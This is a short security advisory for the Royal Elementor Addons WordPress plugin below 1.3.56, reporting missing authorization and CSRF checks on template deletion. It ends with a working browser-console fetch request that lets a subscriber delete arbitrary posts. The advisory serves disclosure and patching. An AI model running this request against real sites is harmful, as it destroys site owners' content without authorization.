WordPress Plugin Vulnerabilities
Royal Elementor Addons < 1.3.56 - Subscriber+ Arbitrary Post Deletion
Description
The plugin does not have authorization and CSRF checks when deleting a template and does not ensure that the post to be deleted is a template. This could allow any authenticated users, such as subscribers, to delete arbitrary posts assuming they know the related slug.
Proof of Concept
Run the below command in the developer console of the web browser while being on the blog as a subscriber fetch('/wp-admin/admin-ajax.php?action=wpr_delete_template', { method: 'POST', headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: 'template_slug=hello-world&template_library=post' });
